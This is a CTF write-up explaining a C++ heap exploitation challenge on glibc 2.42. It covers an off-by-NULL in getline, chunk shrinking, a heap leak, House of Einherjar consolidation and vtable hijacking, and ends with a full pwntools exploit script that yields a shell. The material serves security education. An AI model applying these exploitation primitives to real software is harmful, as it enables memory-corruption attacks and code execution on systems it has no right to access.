Introduction#

This challenge is from Srdnlen Finals 2026, and it’s a C++ heap pwn challenge running on glibc 2.42.

We’re given a pretty standard ammo management program where we can craft, discard, fire, and add descriptions to three different types of ammo: Handgun, Shotgun, and Rifle.

Each ammo type has its own fixed allocation size, meaning we don’t have full control over the size of our heap chunks, which makes heap grooming a bit more annoying.

At first glance, nothing too unusual. However, the combination of a small vulnerability and some C++ internals makes this challenge a lot more interesting than it initially seems.

Let’s see why. ;)

Off-by-NULL#

The main vulnerability is a pretty straightforward off-by-NULL in the function responsible for reading ammo descriptions.

The binary lets us write into an ammo object’s description buffer through add_description():

int64_t add_description(int index, int choice)
{
    if (choice == 3)
        anonymous_structure::operator()<RifleRoundAmmo>(
            &read_description,
            rifle_crate[index].get()
        );
    // ...
}

Nothing too interesting here. The function simply retrieves the selected ammo object and passes it to another function that handles the actual input.

Looking at the RifleRoundAmmo version of that function, we find:

int64_t anonymous_structure::operator()<RifleRoundAmmo>(
    struct const { }* const __closure,
    class RifleRoundAmmo* obj)
{
    if (obj)
    {
        std::istream::ignore(
            &std::cin,
            std::numeric_limits<int64_t>::max()
        );

        std::cout << "Insert the description of the ammo:";
        std::cout << ">> ";

        struct std::array<char, 1584>* var_18_1 =
            &obj->description;

        std::istream::getline(&std::cin, &obj->description);
    }
    // ...
}

Now, std::istream::getline() is interesting because it reads at most
n - 1 characters and automatically appends a NULL terminator.

We can also see that the description buffer is 1584 bytes long, which is exactly 0x630.

The decompiler doesn’t show anything suspicious about the size passed to getline(), so I decided to take a look at the assembly instead:

00403e68  mov     eax, 0x630
00403e6d  add     rax, 0x1
00403e71  mov     rdx, rax
00403e74  mov     rax, qword [rbp-0x30]
00403e78  add     rax, 0x8
00403e7c  mov     qword [rbp-0x18], rax
00403e80  mov     rax, qword [rbp-0x18]
00403e84  mov     rsi, rax
00403e87  mov     edi, 0x40d160
00403e8c  call    std::istream::getline

And there it is.

The program takes the buffer size (0x630), adds 1, and passes the resulting 0x631 as the third argument to getline() through RDX.

This means we can provide exactly 0x630 bytes of input, and getline() will append the NULL terminator one byte past the end of the buffer.

Even better, the description buffer ends right before the size field of the next heap chunk. This means the extra NULL byte lands directly on the least significant byte of the following chunk’s size.

For example, with our RifleRoundAmmo chunks:

Before: 0x641
After:  0x600

Not only does this shrink the chunk from 0x640 to 0x600, but it also clears the PREV_INUSE bit.

And that’s exactly what we need to start playing with heap consolidation.

Chunk shrinking#

Even though an off-by-NULL might not sound like a big vulnerability, in the heap exploitation world it opens up some very interesting possibilities.

As we saw earlier, our off-by-NULL lets us overwrite the least significant byte of the next chunk’s size field. This is particularly interesting because glibc stores several important flags in the lowest bits of that field.

These flags are:

  • PREV_INUSE (0x1): Indicates whether the previous physical chunk is in use.
  • IS_MMAPPED (0x2): Indicates whether the chunk was allocated using mmap().
  • NON_MAIN_ARENA (0x4): Indicates whether the chunk belongs to a non-main arena.

Usually, when exploiting an off-by-NULL, we want the target chunk’s size to be a multiple of 0x100. This way, overwriting its least significant byte with a NULL only clears the PREV_INUSE flag without affecting the actual chunk size.

Unfortunately, in this challenge we don’t have full control over the allocation sizes, so things get a bit more annoying.

For example, our RifleRoundAmmo objects are allocated in 0x640-sized chunks, meaning their size field initially contains 0x641.

After the off-by-NULL, this becomes:

Before: 0x641
After:  0x600

So we’re not just clearing the PREV_INUSE flag, we’re also shrinking the chunk by 0x40 bytes.

Why is this a problem?

Well, glibc relies on chunk sizes to walk the heap and perform consistency checks during free(). In particular, it uses the current chunk’s size to locate the next physical chunk and verify that its metadata makes sense.

If we simply shrink our chunk from 0x640 to 0x600, glibc will start looking for the next chunk at the wrong address, right in the middle of what originally belonged to the same allocation.

This can easily trigger one of glibc’s corruption checks and abort the program.

Luckily, we can work around this by forging a small chunk inside the 0x40 bytes removed by the size shrink.

The idea is pretty simple:

Chunk shrinking with forged remainder chunk

We can forge the fake chunk’s metadata as follows:

fake_chunk = p64(0x600) + p64(0x41)

Here, 0x600 is the previous chunk’s size, while 0x41 represents a chunk of size 0x40 with its PREV_INUSE flag set.

This way, when glibc follows the corrupted size field, it finds a valid-looking 0x40 chunk instead of interpreting arbitrary user data as chunk metadata.

In other words, we make the corrupted heap layout look consistent enough for the allocator to keep going.

Heap Leak#

Before moving on to the actual exploitation, there’s one more thing we need: the heap base address.

Luckily, the fire() function gives us a pretty straightforward way to leak it.

By playing around with the HandgunAmmo objects and reusing the same slot, we can make fire() print some leftover heap-related data.

craft(1, 0)
craft(1, 1)
fire(1, 0)
craft(1, 0)
fire(1, 0)

r.recvuntil(b": ")
heap = (u64(r.recv(3).ljust(8, b"\x00")) << 12) - 0x13000

We can then reconstruct the heap address by shifting the leaked value by 12 bits and subtracting the known offset.

With the heap base leaked, we finally have everything we need to start forging chunks at known addresses.

House of Einherjar#

Now let’s move on to the actual House of Einherjar setup.

The goal is to trigger a backward consolidation from a controlled chunk into a forged fake chunk.

Why do we want this? Because by doing so we can trick glibc into creating a large free chunk starting from an address we control. This is particularly useful because it gives us an overlapping-chunk primitive: we can later reallocate that freed region and obtain a chunk overlapping another still-referenced object.

Let’s call the previously corrupted chunk C. Right before it we place two more chunks, A and B, all belonging to the same size class. In our case, they are all Rifle objects.

While corrupting C’s metadata with the off-by-NULL, we also forge its prev_size field and set it to 0xc60. This makes glibc believe that the previous free chunk starts exactly 0xc60 bytes before C.

At that fake previous-chunk location, inside the user data of A, we forge a fake chunk with:

  • prev_size = 0
  • size = 0xc61
  • Self-referencing fd and bk pointers
  • fd_nextsize = bk_nextsize = NULL

The size field contains 0xc61, which corresponds to an actual chunk size of 0xc60 with PREV_INUSE set.

The self-referencing fd and bk pointers are particularly important, since they allow us to satisfy the doubly-linked list integrity checks performed by unlink_chunk().

Our layout now looks like this:

House of Einherjar heap layout with forged chunk inside A

Notice that we also have the small fake remainder chunk from the previous section, which takes care of the unwanted size shrink from 0x640 to 0x600.

At this point, when C is freed, glibc sees that its PREV_INUSE bit is cleared. It then uses C->prev_size to walk backwards by 0xc60 bytes, landing exactly on our forged chunk inside A.

Since the fake chunk’s size matches C->prev_size and its fd and bk pointers satisfy the unlink checks, glibc proceeds with the backward consolidation.

As a result, we get a large free chunk starting from our fake chunk and extending all the way through C, completely swallowing B in the process.

And here’s the interesting part: B is still considered allocated by the program, even though its memory now belongs to a free chunk.

All we need to do next is allocate from that region again to get an overlapping chunk.

Vtable Hijacking#

Now that we have our overlapping chunk, the only thing left is figuring out how to turn it into code execution.

During the CTF, I wasn’t really familiar with C++, so I had no idea how to take advantage of the fact that the binary was written in it.

After spending some time looking at the objects in memory and how their methods were called, I came across something I hadn’t really dealt with before: vtables.

Turns out they were exactly what I needed.

How do vtables work?

In C++, classes can have virtual functions, which allow the program to decide which implementation to call at runtime.

To make this work, compilers typically create a vtable (virtual function table), which is basically a table containing pointers to the class’s virtual functions.

Each object that uses virtual dispatch also contains a pointer to this table, called vptr.

Whenever a virtual function is called through this mechanism, the program follows the object’s vptr, retrieves the corresponding function pointer from the vtable, and calls it.

For example, let’s imagine a class with two virtual functions:

class Ammo {
public:
    virtual void fire();
    virtual void reload();
};

Its vtable could look something like this:

Vptr layout

When the program calls fire() through virtual dispatch, it looks up the corresponding entry in the vtable and jumps to that function.

Now, what if we could overwrite the object’s vptr?

Well, we could make it point to a fake vtable containing function pointers of our choice. The next virtual call would then use our forged table instead of the original one.

This is known as vtable hijacking, and it’s exactly what we’re going to exploit.

Looking at our RifleRoundAmmo object in pwndbg, we can see that its vptr points to a vtable whose first entry is RifleRoundAmmo::fire():

0x4098b8 (vtable for RifleRoundAmmo+16)
    |
    v
0x404b2a (RifleRoundAmmo::fire())

This is particularly interesting because our overlapping chunk allows us to overwrite the beginning of B’s user data, which is exactly where its vptr is stored.

And since the binary is compiled without PIE, we already know the address of our target:

void win()
{
    system("/bin/sh");
    exit(0);
}

Located at 0x404186.

So the plan is pretty straightforward: forge our own vtable inside the heap, overwrite B’s vptr to point to it, and trigger a virtual function call.

First, let’s allocate a new chunk from the large free region obtained through the House of Einherjar:

craft(3, 5)

Since the free region starts at our fake chunk inside A, this allocation overlaps the beginning of B, which is still considered allocated by the program.

Now we can build our final payload:

win = 0x404186
payload = bytearray(b"A" * 0x620)
payload[0xe8:0xf0] = p64(win)
payload[0x608:0x618] = p64(0) + p64(0x641)
payload[0x618:0x620] = p64(fake_chunk_addr + 0x100)

describe(3, 5, bytes(payload))

Let’s quickly break down what’s happening.

First, we place the address of win() at offset 0xe8 of our description buffer:

payload[0xe8:0xf0] = p64(win)

Since the description starts at fake_chunk_addr + 0x18, our function pointer ends up at fake_chunk_addr + 0x100.

This will be our fake vtable, containing just one entry pointing to win(). That’s enough for our exploit, since fire() is the first virtual function in the original table.

Next, we restore B’s original chunk header:

payload[0x608:0x618] = p64(0) + p64(0x641)

We need to preserve these metadata because our payload also overwrites B’s chunk header on its way to the vptr.

Finally, we overwrite B’s vptr:

payload[0x618:0x620] = p64(fake_chunk_addr + 0x100)

Instead of pointing to the original vtable, B’s vptr now points to our fake one, whose first entry contains the address of win().

At this point, there’s really nothing else left to do.

We just trigger the virtual call:

fire(3, 2)

The program retrieves B from rifle_crate[2], follows its corrupted vptr, and calls the first function in our fake vtable.

Instead of executing RifleRoundAmmo::fire(), we land directly in win().

And that’s it, we get our shell!

All of this started from a single NULL byte, which we turned into a chunk overlap and eventually into code execution.

Pretty nice for such a small vulnerability. :)

Final exploit#

Putting everything together, the final script was:

Solve script
#!/usr/bin/env python3

from pwn import *

e = ELF("build/faulty_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")

context.binary = e
# context.log_level = "debug"


def conn():
    if args.LOCAL:
        r = process([e.path])
    else:
        r = remote("faulty-calibrator.challs.srdnlen.it", 443, ssl=True, sni="faulty-calibrator.challs.srdnlen.it")
    return r

def quit():
    r.sendlineafter(b">> ", b"5")

def craft(choice: int, serial_number: int):
    r.sendlineafter(b">> ", b"1")
    r.sendlineafter(b">> ", str(choice).encode())
    r.sendlineafter(b">> ", str(serial_number).encode())

def discard(choice: int, serial_number: int):
    r.sendlineafter(b">> ", b"2")
    r.sendlineafter(b">> ", str(choice).encode())
    r.sendlineafter(b">> ", str(serial_number).encode())

def fire(choice: int, serial_number: int):
    r.sendlineafter(b">> ", b"3")
    r.sendlineafter(b">> ", str(choice).encode())
    r.sendlineafter(b">> ", str(serial_number).encode())

def describe(choice: int, serial_number: int, description: bytes):
    r.sendlineafter(b">> ", b"4")
    r.sendlineafter(b">> ", str(choice).encode())
    r.sendlineafter(b">> ", str(serial_number).encode())
    r.sendlineafter(b">> ", description)


gdbscript = """
b *0x404b2a
"""

def main():
    global r
    r = conn()
    if args.DBG:
        gdb.attach(r, gdbscript=gdbscript)


    # leak heap base
    craft(1, 0)
    craft(1, 1)
    fire(1,0)
    craft(1, 0)
    fire(1,0)

    r.recvuntil(b": ")
    heap = (u64(r.recv(3).ljust(8, b"\x00")) << 12) 
    heap = heap - 0x13000
    log.success(hex(heap))


    # house of einherjar
    craft(3, 0) # guard
    craft(3, 1) # A
    craft(3, 2) # B
    craft(3, 3) # C
    craft(3, 4) # guard

    # 1) craft a fake chunk inside A
    fake_chunk_addr = heap + 0x142e0
    ctr_chunk = flat([0, 0xc61, fake_chunk_addr, fake_chunk_addr, 0, 0])
    describe(3, 1, b"A"*8 + ctr_chunk)

    # 2) overflow from B->C to set C's prev_inuse to 0
    fake_prevsize = 0xc60
    describe(3, 2, cyclic(1576) + p64(fake_prevsize)) 

    # 3) fix overwritten size of C
    fake_chunk = flat([0x600, 0x41]).ljust(48, b"A")
    describe(3, 3, cyclic(1512) + fake_chunk)

    # trigger backward consolidation
    discard(3, 3)

    # Vtable Hijacking

    craft(3, 5)

    win = 0x404186
    payload = bytearray(b"A" * 0x620)
    payload[0xe8:0xf0] = p64(win) # place win() in our fake vtable
    payload[0x608:0x618] = p64(0) + p64(0x641)
    payload[0x618:0x620] = p64(fake_chunk_addr + 0x100)
    describe(3, 5, bytes(payload)) 

    # win
    fire(3, 2)
    
    r.interactive()


if __name__ == "__main__":
    main()